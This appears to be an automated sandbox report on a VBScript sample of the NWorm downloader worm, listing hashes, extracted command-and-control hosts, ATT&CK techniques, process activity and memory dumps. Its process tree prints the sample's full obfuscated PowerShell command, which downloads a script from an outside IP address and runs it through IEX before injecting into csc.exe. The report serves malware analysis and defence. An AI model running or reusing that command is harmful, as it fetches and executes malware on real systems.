nworm | cccccb888c81985ab515e56c035ae0e5708b88d8a8ef3b08a1a9d990fbbe83cd

General

Target

CQNUQGCNZ.vbs
Size

10KB
MD5

6612508aa88431555344552cb01f160e
SHA1

27996b57e0e6f57c28c99f6f6689683d4baca2d5
SHA256

cccccb888c81985ab515e56c035ae0e5708b88d8a8ef3b08a1a9d990fbbe83cd
SHA512

90c375626a3aeaf61b9aa77f1019c29e0215bbeb1e22f1cb22f8c4d55733177c0af674999e3829e9b838ee5b2b589259b479bfcf2855f6089afd8ae796a5f12c

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Family

nworm

Version

v0.3.8

C2

nyanmoj.duckdns.org:5057

moneyhope81.duckdns.org:5057

Mutex

cb2d3cba

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 4128 powershell.exe
32 4128 powershell.exe

flow	pid	process
6	4128	powershell.exe
32	4128	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4128 set thread context of 1288 4128 powershell.exe csc.exe

description	pid	process	target process
PID 4128 set thread context of 1288	4128	powershell.exe	csc.exe

Drops file in Windows directory 8 IoCs

Processes:

svchost.exeTiWorker.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WinSxS\pending.xml	TiWorker.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4128 powershell.exe
4128 powershell.exe

pid	process
4128	powershell.exe
4128	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exesvchost.exeTiWorker.exe

description	pid	process
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeShutdownPrivilege	396	svchost.exe
Token: SeCreatePagefilePrivilege	396	svchost.exe
Token: SeShutdownPrivilege	396	svchost.exe
Token: SeCreatePagefilePrivilege	396	svchost.exe
Token: SeShutdownPrivilege	396	svchost.exe
Token: SeCreatePagefilePrivilege	396	svchost.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe
Token: SeBackupPrivilege	1072	TiWorker.exe
Token: SeRestorePrivilege	1072	TiWorker.exe
Token: SeSecurityPrivilege	1072	TiWorker.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 4852 wrote to memory of 4128	4852	WScript.exe	powershell.exe
PID 4852 wrote to memory of 4128	4852	WScript.exe	powershell.exe
PID 4128 wrote to memory of 1288	4128	powershell.exe	csc.exe
PID 4128 wrote to memory of 1288	4128	powershell.exe	csc.exe
PID 4128 wrote to memory of 1288	4128	powershell.exe	csc.exe
PID 4128 wrote to memory of 1288	4128	powershell.exe	csc.exe
PID 4128 wrote to memory of 1288	4128	powershell.exe	csc.exe
PID 4128 wrote to memory of 1288	4128	powershell.exe	csc.exe
PID 4128 wrote to memory of 1288	4128	powershell.exe	csc.exe
PID 4128 wrote to memory of 1288	4128	powershell.exe	csc.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CQNUQGCNZ.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HUEFUTBTCTLCFKDGFALECUN = '[*+5&/!3<</(%3<$$&<1@#-y*+5&/!3<</(%3<$$&<1@#-t/%&1&+&7=!@8-0(0-+8%$\[/&]9}][1_+@%-&<&#^--%.IO.*+5&/!3<</(%3<$$&<1@#-t)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%[/&]9}][1_+@%-&<&#^--%)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%d/%&1&+&7=!@8-0(0-+8%$\)*({3!_=3]@{-+1\}@%{88]'.RePlace('*+5&/!3<</(%3<$$&<1@#-','S').RePlace('/%&1&+&7=!@8-0(0-+8%$\','E').RePlace(')*({3!_=3]@{-+1\}@%{88','R').RePlace('4}84}8705\01[/#-(6&19%','A').RePlace('[/&]9}][1_+@%-&<&#^--%','M');$HHPCXNLYCJNJNANYSIXGBXB = ($HUEFUTBTCTLCFKDGFALECUN -Join '')|&('I'+'EX');$HBSWWCHKJPHCIHYLPBADIVC = '[%=}3&3{997<)<9(\/#$9]_y%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%!^%)7)_4&^+#%{370{3-#%m.N!^%)7)_4&^+#%{370{3-#%#[{9@(%3!%*}#!(]]5)5+%.W!^%)7)_4&^+#%{370{3-#%bR!^%)7)_4&^+#%{370{3-#%qu!^%)7)_4&^+#%{370{3-#%%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%]'.RePlace('%=}3&3{997<)<9(\/#$9]_','S').RePlace('!^%)7)_4&^+#%{370{3-#%','E').RePlace('#[{9@(%3!%*}#!(]]5)5+%','T');$HRKBGLQEIIOTGKRAVGDLNFB = ($HBSWWCHKJPHCIHYLPBADIVC -Join '')|&('I'+'EX');$HEKLNIBCXUJQWGFRURKPEYH = '}=5(@3]#3)+286%^()-%7%r\9-9[^\2<62^/3@+]3!){}a^[0__=$7}#(@{][37@^2_&\9-9[^\2<62^/3@+]3!){}'.RePlace('}=5(@3]#3)+286%^()-%7%','C').RePlace('\9-9[^\2<62^/3@+]3!){}','E').RePlace('^[0__=$7}#(@{][37@^2_&','T');$HEBZUFQTNVBUTPKTLSTLJWS = '<=7#5]=_4*+3-]/7}6)-!)\(9%[{[/5=6/[(%9(&%592tR\(9%[{[/5=6/[(%9(&%592++4/41*0$\7@})4_2\{5$/Pon++4/41*0$\7@})4_2\{5$/\(9%[{[/5=6/[(%9(&%592'.RePlace('<=7#5]=_4*+3-]/7}6)-!)','G').RePlace('\(9%[{[/5=6/[(%9(&%592','E').RePlace('++4/41*0$\7@})4_2\{5$/','S');$HHPHRZIHNFHAGPKYQIXDUFE = 'G-^{}6\%&!4)-{0/-92=!)1t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08Pon\{1@=&(406!]](!]+[#[08-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1am'.RePlace('\{1@=&(406!]](!]+[#[08','S').RePlace('-^{}6\%&!4)-{0/-92=!)1','E').RePlace('1/=&068/-*)_2^(\@_)-}7','R');$HXLYDESAYDAKLLLAJUVKBOS = '85{2//*@5<)-^[3_)00#@2449$6@_2+[6{+*=970##$_a101-}+2!%$[72+-&{7+39{To449$6@_2+[6{+*=970##$_n101-}+2!%$[72+-&{7+39{'.RePlace('85{2//*@5<)-^[3_)00#@2','R').RePlace('449$6@_2+[6{+*=970##$_','E').RePlace('101-}+2!%$[72+-&{7+39{','D');&('I'+'EX')($HHPCXNLYCJNJNANYSIXGBXB::new($HRKBGLQEIIOTGKRAVGDLNFB::$HEKLNIBCXUJQWGFRURKPEYH('HttP://54.235.58.2/4/Ps1Hff.txt').$HEBZUFQTNVBUTPKTLSTLJWS().$HHPHRZIHNFHAGPKYQIXDUFE()).$HXLYDESAYDAKLLLAJUVKBOS())
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4128

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
3⤵
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:396

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1072

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/396-135-0x000001DD19980000-0x000001DD19990000-memory.dmp

Filesize
64KB

Download
memory/396-137-0x000001DD1CD60000-0x000001DD1CD64000-memory.dmp

Filesize
16KB

Download
memory/396-136-0x000001DD1A160000-0x000001DD1A170000-memory.dmp

Filesize
64KB

Download
memory/1288-139-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1288-140-0x0000000074ECE000-0x0000000074ECF000-memory.dmp

Filesize
4KB

Download
memory/1288-141-0x0000000002FD0000-0x0000000002FD1000-memory.dmp

Filesize
4KB

Download
memory/1288-142-0x00000000030D0000-0x000000000316C000-memory.dmp

Filesize
624KB

Download
memory/1288-143-0x0000000006110000-0x00000000066B4000-memory.dmp

Filesize
5.6MB

Download
memory/1288-144-0x0000000003170000-0x00000000031D6000-memory.dmp

Filesize
408KB

Download
memory/4128-134-0x00000248FEE46000-0x00000248FEE48000-memory.dmp

Filesize
8KB

Download
memory/4128-133-0x00000248FEE43000-0x00000248FEE45000-memory.dmp

Filesize
8KB

Download
memory/4128-131-0x00007FFB2BB13000-0x00007FFB2BB15000-memory.dmp

Filesize
8KB

Download
memory/4128-132-0x00000248FEE40000-0x00000248FEE42000-memory.dmp

Filesize
8KB

Download
memory/4128-138-0x00000248FFDB0000-0x00000248FFDCA000-memory.dmp

Filesize
104KB

Download
memory/4128-130-0x00000248FEF50000-0x00000248FEF72000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads